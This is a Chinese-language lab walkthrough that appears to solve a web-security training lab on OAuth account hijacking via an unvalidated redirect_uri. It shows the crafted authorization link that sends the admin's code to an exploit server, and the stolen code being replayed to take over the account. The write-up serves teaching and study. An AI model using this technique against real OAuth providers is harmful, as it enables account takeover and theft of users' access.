> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/oauth-authentication/oauth-account-hijacking-via-redirect-uri.md).
# 通过 redirect\_uri 劫持 OAuth 账户
### 通过重定向/\_uri 进行 OAuth 账户劫持
**实验目标**
此实验演示了对 `redirect_uri` 的错误配置如何使 OAuth 流程中的参数允许攻击者窃取 **授权码** ，这些授权码与其他用户的账户相关联。
**但最终：**
* 拦截一个由用户持有的 OAuth 授权码 **admin**
* 使用此代码访问他的账户
* 删除用户 **carlos**
**上下文和条件**
* 该网站允许通过 OAuth 提供方（社交网络）进行身份验证。
* 用户 **admin**:
* 打开来自 exploit 服务器的任何链接。
* 已与 OAuth 提供方建立活跃会话。
* 提供的 ID：
* 攻击者的社交账号： `wiener:peter`
**OAuth 流程分析**
当用户通过 OAuth 连接时，应用会发送类似如下的请求：
{% code overflow="wrap" %}
```http
GET /auth?client_id=sfq2p7l2s6nra7j9be87a&redirect_uri=https://0ae000760359a2b483555a77004b00b8.web-security-academy.net/oauth-callback&response_type=code&scope=openid%20profile%20email HTTP/2
```
{% endcode %}
关键点在于 **OAuth 提供方不要求对 `redirect_uri`**.
{% code overflow="wrap" %}
```http
GET /auth?client_id=sfq2p7l2s6nra7j9be87a&redirect_uri=https://test.com/oauth-callback&response_type=code&scope=openid%20profile%20email HTTP/2
```
{% endcode %}
**漏洞验证**
更改 `redirect_uri` 参数为任意域名，例如：
```bash
redirect_uri=https://test.com/oauth-callback
```
会观察到以下行为：
* OAuth 提供方会正确重定向到该字段
* **OAuth** 授权码会包含在重定向 URL 中
这证实了 `redirect_uri` 可被利用。
**利用**
现在的目标是强制管理员发起一次 OAuth 认证，并使其重定向指向攻击者的 \*\*exploit 服务器\*\*。
使用的恶意 OAuth 链接：
{% code overflow="wrap" %}
```bash
https://oauth-0a0c00a60393a257834c58ce0205005b.oauth-server.net/auth?client_id=sfq2p7l2s6nra7j9be87a&redirect_uri=https://exploit-0a3d004d0323a23f836b59db014d00a8.exploit-server.net/oauth-callback&response_type=code&scope=openid%20profile%20email
```
{% endcode %}
该链接通过 iframe 嵌入到 exploit 服务器页面中：
{% code overflow="wrap" %}
```javascript
```
{% endcode %}
**授权码获取**
当管理员打开该页面时：
* OAuth 流程会自动执行
* OAuth 提供方会重定向到 exploit 服务器
* \*\*exploit 服务器\*\*日志包含多个 OAuth 代码
该 **收到的最后一个代码** 可用于，例如：
```
https://0ae000760359a2b483555a77004b00b8.web-security-academy.net/oauth-callback?code=XHqrGOew1V0hH734nwPpUv3aZg0CeFklDsu21mNyslq
```
**结果**
* 该授权码有效
* 已获得对 \*\*管理员账户\*\* 的访问权限
---
# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.
## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.
Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:
```
GET https://hacking-notes.jord4n.pro/zh/web/oauth-authentication/oauth-account-hijacking-via-redirect-uri.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.